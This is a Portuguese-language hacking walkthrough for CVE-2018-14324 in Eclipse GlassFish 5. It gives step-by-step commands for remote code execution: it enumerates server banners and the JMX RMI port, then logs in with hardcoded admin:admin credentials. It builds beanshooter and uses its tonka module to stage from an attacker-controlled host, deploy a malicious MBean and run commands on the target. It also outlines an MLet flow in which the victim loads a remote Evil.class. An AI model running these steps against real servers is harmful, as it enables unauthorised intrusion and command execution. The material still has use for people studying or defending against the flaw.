
Hackeando Eclipse GlassFish - CVE-2018-14324
A descrição do CVE-2018-14324 não explica completamente o impacto desta vulnerabilidade. TLDR você tem acesso ao Java Management Extensions (JMX) por meio de credenciais hardcoded admin:admin.
Embora o impacto seja listado como "informações potencialmente sensíveis, realizar operações de banco de dados ou manipular a demo por meio de uma sessão JMX RMI", isso não explica o que significa a manipulação por meio da sessão JMX RMI.
Investiguei a fundo apenas por causa da alta pontuação CVSS de 9.8 e descobri que você pode, na prática, obter RCE por meio do MBean javax.management.loading:type=MLet, que é habilitado por padrão em uma instância do GlassFish 5.
Enumere o servidor GlassFish observando o banner de versão.
curl http://<TARGET>:8080/ -i | grep 'Server:'
curl http://<TARGET>:8181/ -ik | grep 'Server:'
curl http://<TARGET>:80/ -i | grep 'Server:'
Se a versão for 5, ele é vulnerável ao CVE-2018-14324.
Em seguida, verifique se o serviço JMX RMI está em execução na porta 7676.
nc <IP_ADDRESS> 7676
Você deve ver a string de conexão para o serviço JMX RMI. Guarde a string para uso posterior.
Por exemplo:
service:jmx:rmi://vm31465/jndi/rmi://vm31465:8686/vm31465/7676/jmx
Como você pode ver, o hostname vm31465 é usado na string de conexão; há duas portas mencionadas, 8686 e 7676.
Você deve adicionar vm31465 ao seu arquivo /etc/hosts apontando para o endereço IP . Se você usar o Beanshooter, isso não é necessário.
O que diabos é JMX? É o Java Management Extensions (JMX), uma tecnologia que permite implementar interfaces de gerenciamento para aplicações Java. Pense nele como um SNMP para aplicações Java.
Primeiro, você precisa enumerar os MBeans disponíveis no sistema alvo.
java DumpJMX.java "service:jmx:rmi:///jndi/rmi://<TARGET>:7776/<TARGET>/7676/jmxrmi"
# if does not work
java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum <IP> 8686 --password admin --user admin
Com este script, você obterá uma lista de MBeans, seus atributos e operações.
O MBean com.sun.management:type=DiagnosticCommand permite executar comandos de diagnóstico na JVM alvo. Você pode usá-lo para enumerar propriedades do sistema; veja DiagnosticCommand.java para mais informações.
Se você vir javax.management.loading:type=MLet, você deve ser capaz de explorar o alvo. Esse MBean permite carregar classes Java remotas na JVM alvo.
No entanto, o gerenciador de segurança do Java pode impedir que você execute código arbitrário.
O único exploit que funcionou para RCE foi o módulo tomka do beanshooter. Exploits personalizados foram bloqueados pelo gerenciador de segurança. O carregamento do MLet ainda funcionava, mas a classe não tinha permissão para executar código.
Use o módulo tomka do Beanshooter para explorar o alvo.
git clone https://github.com/qtc-de/beanshooter.git
cd beanshooter
mvn clean package -DskipTests
## STAGER
java -jar beanshooter-4.1.0-jar-with-dependencies.jar stager <ATTACKER-IP> 8080 tonka
## DEPLOY
java -jar target/beanshooter-4.1.0-jar-with-dependencies.jar tonka deploy --username admin --password admin --stack-trace <TARGET> 7776 --stager-url http://<ATTACKER-IP>:8080 --no-stager
## COMMAND EXECUTION
java -jar target/beanshooter-4.1.0-jar-with-dependencies.jar tonka exec --username admin --password admin --stack-trace <TARGET> 7776 'id'
Você também pode depurar escrevendo seu próprio carregador de MBean e monitorando se o alvo se conecta ao seu servidor MLet. O fluxo é o seguinte:
attacker -> victim:7776 : javax.management.loading:type=MLet MBean lookup
attacker:8080 <- victim:7776 : Request MLet file
attacker:8080 -> victim:7776 : MLet with URL to Java class file (e.g. http://attacker:8080/Evil.class)
attacker:8080 <- victim:7776 : Request Java class file
attacker:8080 -> victim:7776 : Java class file
attacker -> victim:7776 : Invoke method on loaded Java class (e.g. Evil.listFiles())